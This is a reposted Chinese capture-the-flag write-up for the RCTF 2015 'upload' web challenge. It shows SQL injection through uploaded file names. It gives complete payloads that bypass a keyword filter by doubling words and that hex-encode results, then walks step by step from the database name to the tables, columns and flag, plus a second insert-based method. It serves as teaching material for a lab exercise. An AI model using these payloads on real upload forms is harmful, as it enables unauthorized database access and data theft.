XCTF Web upload(RCTF 2015)


做法:

利用文件名進行sql注入

思路:

推測后台的insert插入語句為:

insert into 表名('filename',...) values('你上傳的文件名',...);

構造以下語句進行注入:

文件名'+(selselectect conv(substr(hex(database()),1,12),16,10))+'.jpg

拼接后的sql語句為:
...values('文件名'+(selselectect conv(substr(hex(database()),1,12),16,10))+'.jpg',...);

CONV(n,from_radix,to_radix):用於將n從from_radix進制轉到to_radix進制

substr(str,start,length):將str從start長度為length分割

hex(str):將str轉成十六進制

一點疑問&細節:

  1. select、from被過濾,用雙寫繞過

  2. 為什么不直接采用sselectelect database()進行注入:

    ​ 部分注入回顯:

    ​ '+(selselectect dAtabase())+'.jpg => 0

    ​ '+(selecselectt substr(dAtabase(),1,12))+'.jpg => 0

    ​ '+(selecselectt substr(hex(dAtabase()),1,12))+'.jpg => 7765625

    第三句代碼應該回顯‘7765625f7570’,遇到’f‘導致截斷,所以需要conv轉成十進制輸出

  3. substr中的長度限制:不限制長度會導致返回值太大,系統使用科學計數法(xx e xxxxx)表示。

題目限制條件

  1. 回顯不能出現字母 ---》 轉成十進制
  2. 要使注入后的語句正確閉合 ---》猜測語句結構,正確閉合
  3. 防止回顯數據過大使得程序返回科學計數型的結果 ---》 限制回顯長度

步驟

上傳利用語句注入的文件名在上傳文件中進行注入,對substr的截取位置由讀者自行調整直至獲得完整名稱

1. 庫名
file_name' +(selselectect conv(substr(hex(database()),1,12),16,10))+ '.jpg
# 得到庫名:web_upload

2. 表名
file_name'+(seleselectct+conv(substr(hex((selselectect table_name frfromom information_schema.tables where table_schema = 'web_upload' limit 1,1)),1,12),16,10))+'.jpg
# 得到表名:hello_flag_is_here

3. 字段
file_name'+(seleselectct+conv(substr(hex((selselectect COLUMN_NAME frfromom information_schema.COLUMNS where TABLE_NAME = 'hello_flag_is_here' limit 1,1)),1,12),16,10))+'.jpg
# 得到字段名:i_am_flag

4. 獲得數據
file_name'+(seleselectct+CONV(substr(hex((seselectlect i_am_flag frfromom hello_flag_is_here limit 0,1)),13,12),16,10))+'.jpg
# 得到flag:!!_@m_Th.e_F!lag

其他做法(更簡單,要求腦洞):

如果對表的結構猜測得當,很快就能解決這道題目,參考某dalao的wp中寫出的結構:

(filename.jpg,uid,uid)

語句構造

在上傳文件的時候,網站會回顯uid給我們,所以要先上傳一個文件,獲取uid,覺得網頁跳轉太快的可以抓包

我們構造(filename,'uid','uid'),((database()),'uid','uid')#.jpg ','uid','uid');

拼接后的語句為(filename,'uid','uid'),((database()),'uid','uid')

對應的回顯就是我們上傳文件的filename和database(),說明注入成功

步驟

我們對這個語句進行注入構造,uid自行替換

1. 庫名
filename','uid','uid'),((database()),'uid','uid')#.jpg
# 例:filename','1661','1661'),((database()),'1661','1661')#.jpg

2. 表名
filename','uid','uid'),((selselectect group_concat(table_name) frfromom information_schema.tables where table_schema = 'web_upload'),'uid','uid')#.jpg
#'--------------------------------分割行

3. 字段名
filename','uid','uid'),((selselectect group_concat(column_name) frfromom information_schema.columns where table_name = 'hello_flag_is_here'),'uid','uid')#.jpg
#'--------------------------------分割行

4. 獲得數據
filename','uid','uid'),((selselectect i_am_flag frfromom hello_flag_is_here),'uid','uid')#.jpg

參考連接:

https://www.cnblogs.com/sharpff/p/10728498.html

https://blog.csdn.net/qq_42181428/article/details/89345094#upload_168


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM